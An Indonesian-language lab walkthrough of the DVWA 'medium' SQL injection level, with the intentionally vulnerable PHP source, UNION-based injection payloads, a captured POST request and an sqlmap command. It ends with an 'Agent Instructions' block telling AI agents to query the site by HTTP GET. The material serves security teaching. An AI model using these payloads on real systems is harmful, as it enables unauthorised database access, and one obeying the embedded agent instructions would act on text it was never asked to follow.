# Medium

Di bawah ini adalah *source-code* dari SQL Injection level medium di DVWA.

```php
vulnerabilities/sqli/source/medium.php
<?php
​
if( isset( $_POST[ 'Submit' ] ) ) {
    // Get input
    $id = $_POST[ 'id' ];
​
    $id = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id);
​
    $query  = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
    $result = mysqli_query($GLOBALS["___mysqli_ston"], $query) or die( '<pre>' . mysqli_error($GLOBALS["___mysqli_ston"]) . '</pre>' );
​
    // Get results
    while( $row = mysqli_fetch_assoc( $result ) ) {
        // Display values
        $first = $row["first_name"];
        $last  = $row["last_name"];
​
        // Feedback for end user
        echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
    }
​
}
​
// This is used later on in the index.php page
// Setting it here so we can close the database connection in here like in the rest of the source scripts
$query  = "SELECT COUNT(*) FROM users;";
$result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
$number_of_rows = mysqli_fetch_row( $result )[0];
​
mysqli_close($GLOBALS["___mysqli_ston"]);
?>
```

## Mencari Informasi <a href="#mencari-informasi" id="mencari-informasi"></a>

Pada level ini form yang digunakan adalah bertipe **select** dan method yang digunakan adalah `POST`. Sehingga untuk mencoba merubah parameter-nya, kita bisa menggunakan tool Burp suite seperti berikut:

![](https://gblobscdn.gitbook.com/assets%2F-LzH5Vfe8_AlGL8KPrs2%2F-M-L9N-IuJRxdqrMF6Jm%2F-M-LCuMPG2sHfrhHhmgU%2Fimage.png?alt=media\&token=c4d529a5-7959-4dd0-9519-6e48ceff908b)

Jika kita ubah nilai parameter `id`-nya menjadi `'`, maka pesan *error*-nya akan berbeda dibanding level sebelumnya.

![](https://gblobscdn.gitbook.com/assets%2F-LzH5Vfe8_AlGL8KPrs2%2F-M-L9N-IuJRxdqrMF6Jm%2F-M-LJzucZoVx42ak3IWz%2Fimage.png?alt=media\&token=8493550c-1d35-4ec3-9478-24660a429f07)

Tampilnya pesan *error* ini sudah menandakan bahwa terdapat celah *SQL Injection*. Anda bisa langsung menggunakan tool SQLMap atau secara manual.

Ada penambahan *backslash* (`\`) sebelum karakter `'`. Ini dikarenakan fungsi `mysqli_real_escape_string()` yang melakukan *encoding* pada spesial karakter (bisa dibaca [di sini](https://www.w3schools.com/php/func_mysqli_real_escape_string.asp)).

&#x20;Sehingga sekarang kita tidak bisa menggunakan *payload* pada level sebelumnya.

```
%' or '0' = '0
```

Maka dari itu kita harus menggunakan cara lain, yaitu mencari *payload* yang tidak menggunakan spesial karakter. Jawaban yang saya temukan adalah menggunakan **`union`**!

## Melakukan Serangan <a href="#melakukan-serangan" id="melakukan-serangan"></a>

Kali ini kita akan menggunakan `union` (di sini saya contohkan untuk menampilkan versi DBMS) sebagai *payload*-nya.

```
1 UNION SELECT null, version() 
```

Sehingga hasilnya adalah seperti berikut:

![](https://gblobscdn.gitbook.com/assets%2F-LzH5Vfe8_AlGL8KPrs2%2F-M-L9N-IuJRxdqrMF6Jm%2F-M-LPD-H20wTyAER22Fq%2Fimage.png?alt=media\&token=422055d2-3cd2-4403-a92a-f65e3c02362a)

DBMS yang digunakan adalah MariaDB 10.1.26.

Sebagai pembiasaan menggunakan *query* `union`, praktekan *query* yang pada level sebelumnya dipelajari.

### Menggunakan SQLMap <a href="#menggunakan-sqlmap" id="menggunakan-sqlmap"></a>

Salah satu cara termudah untuk menggunakan SQLMap (apa lagi dengan method `POST`) adalah dengan bantuan Burp suite, yaitu dengan meng-*intercept request* lalu di salin ke suatu file (contohnya **r.txt**).

```http
r.txt

POST /vulnerabilities/sqli/ HTTP/1.1
Host: 172.17.0.2
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:72.0) Gecko/20100101 Firefox/72.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 18
Origin: http://172.17.0.2
Connection: close
Referer: http://172.17.0.2/vulnerabilities/sqli/
Cookie: lang=en-US; PHPSESSID=deanteiid9ignilfjtiak17op2; security=medium
Upgrade-Insecure-Requests: 1
i_like_gitea: 11session
​
id=1&Submit=Submit
```

Selanjutnya adalah menjalankan SQLMap:

```
sqlmap -r r.txt --dbs
```

Dan hasilnya akan seperti berikut:

![](https://gblobscdn.gitbook.com/assets%2F-LzH5Vfe8_AlGL8KPrs2%2F-M-L9N-IuJRxdqrMF6Jm%2F-M-LVBOLkWnFG25FgwsL%2Fimage.png?alt=media\&token=9bf2c699-64f8-4e87-9ae3-46685cba2490)

Setelah itu anda bisa *explore* lebih jauh lagi.😁

Happy Hacking! 🍻


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://notes.anggipradana.com/tutorial/dvwa/sql-injection/non-blind/medium.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
